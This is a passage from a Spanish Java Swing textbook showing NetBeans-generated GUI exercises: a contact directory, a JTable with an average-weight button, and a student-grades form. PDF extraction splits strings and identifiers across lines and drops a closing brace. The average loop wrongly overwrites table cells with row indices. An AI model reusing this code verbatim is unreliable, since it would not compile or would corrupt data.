private void jTextField1ActionPerformed(java.awt.event.ActionEvent evt)

{
// TODO add your handling code here:
}

private void jTextField4ActionPerformed(java.awt.event.ActionEvent evt)

{
// TODO add your handling code here:
}

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
try{
int i=arreglo.length;
if(x==i){

JOptionPane.showMessageDialog(null, "No hay espacios

disponibles por falta de memoria");
}else{
String n=jTextField1.getText();
String t=jTextField2.getText();
int m=Integer.parseInt(jTextField3.getText());

146
 int d=Integer.parseInt(jTextField4.getText());
arreglo[x]=new directorio(n,t,m,d);
x++;
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField4.setText("");
jTextField5.setText(""+x);
}
}catch(Exception e){

JOptionPane.showMessageDialog(null, "Error inesperado:

"+e.toString(),"Titulo",JOptionPane.ERROR_MESSAGE);
}finally{
JOptionPane.showMessageDialog(null, "Sesion de finally");
}
}

private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
try{
String n=JOptionPane.showInputDialog("Dame el numero a buscar:
");
int i=Integer.parseInt(n)-1;
if(i<x && i>=0){
jTextField1.setText(arreglo[i].getnombre());
jTextField2.setText(arreglo[i].gettelefono());
jTextField3.setText(""+arreglo[i].getmes());
jTextField4.setText(""+arreglo[i].getdia());

147
 }else{
JOptionPane.showMessageDialog(null, "No se encontro registro");
}
}catch(Exception e){

JOptionPane.showMessageDialog(null, "Error inesperado:

"+e.toString());
}finally{
JOptionPane.showMessageDialog(null, "Sesion de finally");
}
}

private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
//Busco el nombre en el arreglo desde 0 hasta
//x si lo encuentro modifico el telefono con el dato que se
//solicitara en un ShowInputDialog
if(x==0){
JOptionPane.showMessageDialog(null, "Lista vacia");
}else{
for (int i=0;i<x;i++){
if
(arreglo[i].getnombre().toUpperCase().equals(jTextField1.getText().toUpper
Case())){

String t=JOptionPane.showInputDialog("Telefono actual:

"+arreglo[i].gettelefono()+"\n"+"Ingrese nuevo telefono: ");
arreglo[i].settelefono(t);
break;
}else{

148
 if(i==x-1){

JOptionPane.showMessageDialog(null, "Nombre no
localizado");
}
}
}
}
}

/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting
code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the

default look and feel.

* For details see

http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {

for (javax.swing.UIManager.LookAndFeelInfo info :

javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}

149
 } catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {

java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
}
//</editor-fold>

/* Create and display the form */

java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new ejercicio02().setVisible(true);
}
});
}

// Variables declaration - do not modify

private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;

150
 private javax.swing.JButton jButton3;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField2;
private javax.swing.JTextField jTextField3;
private javax.swing.JTextField jTextField4;
private javax.swing.JTextField jTextField5;
// End of variables declaration
}

Lo que esta marcado en amarillo son todos los elementos que necesitamos
de tal forma que se vea de esta manera:

151
 Imagen 1.64, Ejemplo del JFrame.

Imagen 1.65, Llenamos todos los campos

152
En la siguiente imagen se muestra que tenemos 2 datos llenos “se muestra
en el cucdrado azul”.
Y como siguiente paso coonlsultamos un número.

Imagen 1.65, Guardamos los datos.

El siguiente ejercicio que realizaremos es un poco más sencillo, para este

no vamos a necesitar otra clase todo lo haremos directamente en el
JFrame.
El primer paso será crear nuestro JFrame:
public class ejercicio06 extends javax.swing.JFrame {

/**
* Creates new form ejercicio06
*/
public ejercicio06() {
initComponents();
}

/**

153
 * This method is called from within the constructor to initialize the form.

* WARNING: Do NOT modify this code. The content of this method is

always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {

jScrollPane1 = new javax.swing.JScrollPane();

jTable1 = new javax.swing.JTable();
jTextField1 = new javax.swing.JTextField();
jTextField2 = new javax.swing.JTextField();
jTextField3 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jButton3 = new javax.swing.JButton();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

jTable1.setAutoCreateRowSorter(true);
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {

},
new String [] {
"Nombre", "Edad", "Peso"

154
 }
){
Class[] types = new Class [] {

java.lang.Object.class, java.lang.Integer.class,
java.lang.Object.class
};
boolean[] canEdit = new boolean [] {
false, false, false
};

public Class getColumnClass(int columnIndex) {

return types [columnIndex];
}

public boolean isCellEditable(int rowIndex, int columnIndex) {

return canEdit [columnIndex];
}
});
jTable1.getTableHeader().setResizingAllowed(false);
jTable1.getTableHeader().setReorderingAllowed(false);
jScrollPane1.setViewportView(jTable1);

jTextField1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField1ActionPerformed(evt);
}
});

155
jTextField1.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField1KeyPressed(evt);
}
});

jTextField2.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField2KeyPressed(evt);
}
});

jTextField3.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField3KeyPressed(evt);
}
});

jButton1.setText("Inserta");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});

jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {

156
 public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});

jButton3.setText("Promedio Peso");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});

javax.swing.GroupLayout layout = new

javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)

.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 375,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)

157
 .addGroup(layout.createSequentialGroup()

.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 119,
javax.swing.GroupLayout.PREFERRED_SIZE)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)

.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE, 119,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addGap(27, 27, 27)
.addComponent(jButton1)
.addGap(54, 54, 54)
.addComponent(jButton2)))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(10, 10, 10)
.addComponent(jButton3))
.addComponent(jTextField3))))
.addContainerGap(15, Short.MAX_VALUE))
);
layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

158
 .addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addContainerGap(19, Short.MAX_VALUE)

.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 188,
javax.swing.GroupLayout.PREFERRED_SIZE)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)

.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)

.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)

.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jButton1)
.addComponent(jButton2)
.addComponent(jButton3))
.addGap(33, 33, 33))

159
 );

pack();
}// </editor-fold>

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
try{

Object datos[]=
{jTextField1.getText(),Integer.parseInt(jTextField2.getText()),Double.parseDou
ble(jTextField3.getText())};
DefaultTableModel model=(DefaultTableModel)jTable1.getModel();
model.addRow(datos);
jTable1.setModel(model);
}catch(Exception e){

JOptionPane.showMessageDialog(null, "Error inesperado", "Error

tipo de caracter", JOptionPane.ERROR_MESSAGE);
}finally{

}
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField1.requestFocus();
}

private void jTextField1KeyPressed(java.awt.event.KeyEvent evt) {

// TODO add your handling code here:

160
 if (evt.getKeyCode()==10){
jTextField2.requestFocus();
}
}

private void jTextField2KeyPressed(java.awt.event.KeyEvent evt) {

// TODO add your handling code here:
if (evt.getKeyCode()==10){
jTextField3.requestFocus();
}
}

private void jTextField3KeyPressed(java.awt.event.KeyEvent evt) {

// TODO add your handling code here:
if (evt.getKeyCode()==10){
jButton1.requestFocus();
}
}

private void jTextField1ActionPerformed(java.awt.event.ActionEvent evt)

{
// TODO add your handling code here:
}

private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
if (jTable1.getSelectedRow()>=0){

161
 int r=jTable1.getSelectedRow();
String a;
for(int i=0;i<3;i++){
a=jTable1.getModel().getValueAt(r, i).toString();
switch (i) {
case 0:
jTextField1.setText(a);
break;
case 1:
jTextField2.setText(a);
break;
default:
jTextField3.setText(a);
break;
}
}
}else{
JOptionPane.showMessageDialog(null, "No hay seleccion");
}
}

private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
try{
double promedio=0;
int r=jTable1.getRowCount();
for (int i=0;i<r;i++){

162
promedio=promedio+Double.parseDouble(jTable1.getModel().getValueAt(i
, 2).toString());
jTable1.setValueAt(i, i, 2);
}
JOptionPane.showMessageDialog(null, ""+(promedio/r));
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error"+e.toString());
}
}

/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */

//<editor-fold defaultstate="collapsed" desc=" Look and feel setting

code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the

default look and feel.

* For details see

http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {

for (javax.swing.UIManager.LookAndFeelInfo info :

javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;

163
 }
}
} catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {

java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
}
//</editor-fold>

/* Create and display the form */

java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new ejercicio06().setVisible(true);
}
});
}

// Variables declaration - do not modify

164
 private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton3;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField2;
private javax.swing.JTextField jTextField3;
// End of variables declaration
}

Los elementos marcados en amarillo son lo que utilizamos para este

ejercicio quedándonos de tal forma:

Imagen 1.66, Interfaz Grafica.

En esta imagen 1.67 se muestra que ya llenamos todos los campos que
tenemos tales como: Nombre, Edad y Peso.

165
Y consultamos los datos de Veronica, mostrándolos en la parte de abajo.

Imagen 1.67, Guardamos los datos.

166
En la siguiente imagen 1.68 mostramos el peso promedio de todas personas
que insertamos.
Y lo hace con un mensaje que dice que el peso promedio es de 59.9.

Imagen 1.68, Muestra los datos

167
 5.3. API Swing
Swing es una biblioteca gráfica para Java. Incluye widgets para interfaz
gráfica de usuario tales como cajas de texto, botones, desplegables y
tablas.
Vamos a crear una clase que tenga el siguiente contenido:

public class Programa06 {

private String numero,nombre;
private float calif1,calif2;
Programa06(){
numero=nombre="";
calif1=calif2=0;
}
public void setnombre(String nombre){
this.nombre=nombre;
}
public String getnombre(){
return nombre;
}
public void setnumero(String numero){
this.numero=numero;
}
public String getnumero(){
return numero;
}
public void setcalif1(float calif1){
this.calif1=calif1;

168
 }
public float getcalif1(){
return calif1;
}
public void setcalif2(float calif2){
this.calif2=calif2;
}
public float getcalif2(){
return calif2;
}
public float promedio(){
float prom=(calif1+calif2)/2;
return prom;
}
}

Y el segundo paso como ya sabemos es crear nuetsra interzas grafica con

un JFrame, que a diferencia de los demás programas que ayamos
realizado esta va contener listas:
public class Programa07 extends javax.swing.JFrame {

/**,
* Creates new form Programa07
*/
int contador=0;
int tamano=10;
Programa06 alumnos[]=new Programa06[tamano];
DefaultListModel modelo1= new DefaultListModel();
DefaultListModel modelo2= new DefaultListModel();

169
 public Programa07() {
initComponents();
for (int i=0;i<tamano;i++){
alumnos[i]= new Programa06();
}
jList1.setModel(modelo1);
jList2.setModel(modelo2);
jList1.setVisible(false);
jList2.setVisible(false);
}

/**
* This method is called from within the constructor to initialize the form.

* WARNING: Do NOT modify this code. The content of this method is

always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {

jLabel1 = new javax.swing.JLabel();

jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jTextField1 = new javax.swing.JTextField();
jTextField2 = new javax.swing.JTextField();

170
 jTextField3 = new javax.swing.JTextField();
jTextField4 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jList1 = new javax.swing.JList<>();
jScrollPane2 = new javax.swing.JScrollPane();
jList2 = new javax.swing.JList<>();
jButton3 = new javax.swing.JButton();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
jLabel8 = new javax.swing.JLabel();
jComboBox1 = new javax.swing.JComboBox<>();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

jLabel1.setText("Número:");

jLabel2.setText("Nombre:");

jLabel3.setText("Calificación 1:");

jLabel4.setText("Calificación 2:");

jTextField2.addActionListener(new java.awt.event.ActionListener() {

171
 public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField2ActionPerformed(evt);
}
});

jTextField3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField3ActionPerformed(evt);
}
});

jTextField4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField4ActionPerformed(evt);
}
});

jButton1.setText("Agrega");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});

jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {

172
 jButton2ActionPerformed(evt);
}
});

jList1.setModel(new javax.swing.AbstractListModel<String>() {
String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" };
public int getSize() { return strings.length; }
public String getElementAt(int i) { return strings[i]; }
});
jScrollPane1.setViewportView(jList1);

jList2.setModel(new javax.swing.AbstractListModel<String>() {
String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" };
public int getSize() { return strings.length; }
public String getElementAt(int i) { return strings[i]; }
});
jScrollPane2.setViewportView(jList2);

jButton3.setText("Revisa el modelo1");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});

jLabel5.setText("jLabel5");

173
 jLabel6.setText("jLabel6");

jLabel7.setText("Retrazados");

jLabel8.setText("Aprobados");

jComboBox1.setModel(new
javax.swing.DefaultComboBoxModel<>(new String[] { "Item 1", "Item 2",
"Item 3", "Item 4" }));
jComboBox1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jComboBox1ActionPerformed(evt);
}
});

javax.swing.GroupLayout layout = new

javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)

174
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)

.addComponent(jTextField3,
javax.swing.GroupLayout.DEFAULT_SIZE, 89, Short.MAX_VALUE)
.addComponent(jTextField1,
javax.swing.GroupLayout.DEFAULT_SIZE, 89, Short.MAX_VALUE)
.addComponent(jTextField4))

.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE, 182,
javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGroup(layout.createSequentialGroup()

.addComponent(jButton1,
javax.swing.GroupLayout.PREFERRED_SIZE, 75,
javax.swing.GroupLayout.PREFERRED_SIZE)

175
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jButton2)
.addGap(60, 60, 60)

.addComponent(jComboBox1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE)))

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)

.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addComponent(jButton3)
.addGap(67, 67, 67))
.addGroup(layout.createSequentialGroup()

.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 59,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(34, 34, 34)

.addComponent(jScrollPane2,
javax.swing.GroupLayout.PREFERRED_SIZE, 61,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel7)

176
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel8)
.addGap(50, 50, 50))))

.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()

.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(jLabel5)
.addGap(60, 60, 60)
.addComponent(jLabel6)
.addGap(49, 49, 49))
);
layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(17, 17, 17)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)

.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 23,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1)
.addComponent(jButton3))

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)

177
 .addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

.addComponent(jComboBox1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(105, 105, 105))
.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(11, 11, 11)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)

.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)
.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,

178
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)

.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addComponent(jButton1)
.addGap(18, 18, 18)
.addComponent(jButton2))
.addGroup(layout.createSequentialGroup()
.addGap(53, 53, 53)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel7)
.addComponent(jLabel8))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)

.addComponent(jScrollPane2,
javax.swing.GroupLayout.DEFAULT_SIZE, 163, Short.MAX_VALUE)

179
 .addComponent(jScrollPane1))))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel5)
.addComponent(jLabel6))
.addContainerGap())
);

pack();
}// </editor-fold>

private void jTextField3ActionPerformed(java.awt.event.ActionEvent evt)

{
// TODO add your handling code here:

private void jTextField2ActionPerformed(java.awt.event.ActionEvent evt)

{
// TODO add your handling code here:
}

private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
/*DefaultListModel modelo1=new DefaultListModel();

180
 DefaultListModel modelo2=new DefaultListModel();
modelo1.addElement("yo");
modelo1.addElement(100);
modelo1.addElement(true);
jList1.setModel(modelo1);
jList1.setVisible(true);*/
modelo1.removeAllElements();
modelo2.removeAllElements();
for(int i=0;i<contador;i++){
if(alumnos[i].promedio()<6){
modelo1.addElement(alumnos[i].getnombre());
}else{
modelo2.addElement(alumnos[i].getnombre());
}
}
jList1.setModel(modelo1);
jList2.setModel(modelo2);
jList1.setVisible(true);
jList2.setVisible(true);
}

private void jTextField4ActionPerformed(java.awt.event.ActionEvent evt)

{
// TODO add your handling code here:
}

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {

181
 // TODO add your handling code here:
try{
if (!Validar()){
alumnos[contador].setnumero(jTextField1.getText());
alumnos[contador].setnombre(jTextField2.getText());
alumnos[contador].setcalif1(Float.parseFloat(jTextField3.getText()));
alumnos[contador].setcalif2(Float.parseFloat(jTextField4.getText()));
contador++;
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField4.setText("");
}else{
JOptionPane.showMessageDialog(null,"Ya esxiete el expediente");
}
}catch(Exception e){
JOptionPane.showMessageDialog(null,"Error:"+e.toString());
}
}

private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
try{
int Elementos=modelo1.getSize();
String E;
for(int i=0; i<Elementos;i++){
E=modelo1.elementAt(i).toString();

182
 JOptionPane.showMessageDialog(null, E);
}
modelo1.removeAllElements();
modelo1.addElement("Holo");
}catch(Exception e){
JOptionPane.showMessageDialog(null, e.toString());
}
}

private void jComboBox1ActionPerformed(java.awt.event.ActionEvent

evt) {
// TODO add your handling code here:
}
private boolean Validar(){
boolean respuesta=false;
int i=0;
while (i<contador){
if (alumnos[i].getnumero().equals(jTextField1.getText())){
respuesta=true;
i=contador+1;
} else{
i++;
}
}
return respuesta;
}
private boolean ValidarCalificacion1(){

183
 boolean respuesta=false;
float c1;
try{
c1=Float.parseFloat(jTextField3.getText());
if (c1<0||c1>10){
JOptionPane.showMessageDialog(null,"Error de calificacion 1");
}else{
respuesta=true;
}
}catch(Exception e){
JOptionPane.showMessageDialog(null,"Erro de calificacion 1");
}
return respuesta;
}
private boolean ValidarCalificacion2(){
boolean respuesta=false;
return respuesta;
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */

//<editor-fold defaultstate="collapsed" desc=" Look and feel setting

code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the

default look and feel.

184
 * For details see
http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {

for (javax.swing.UIManager.LookAndFeelInfo info :

javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {

java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>

185
 /* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new Programa07().setVisible(true);
}
});
}

// Variables declaration - do not modify

private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton3;
private javax.swing.JComboBox<String> jComboBox1;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JList<String> jList1;
private javax.swing.JList<String> jList2;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField2;

186
 private javax.swing.JTextField jTextField3;
private javax.swing.JTextField jTextField4;
// End of variables declaration
}

Los elementos que están en amarillo son los que utilizamos para este
programa.
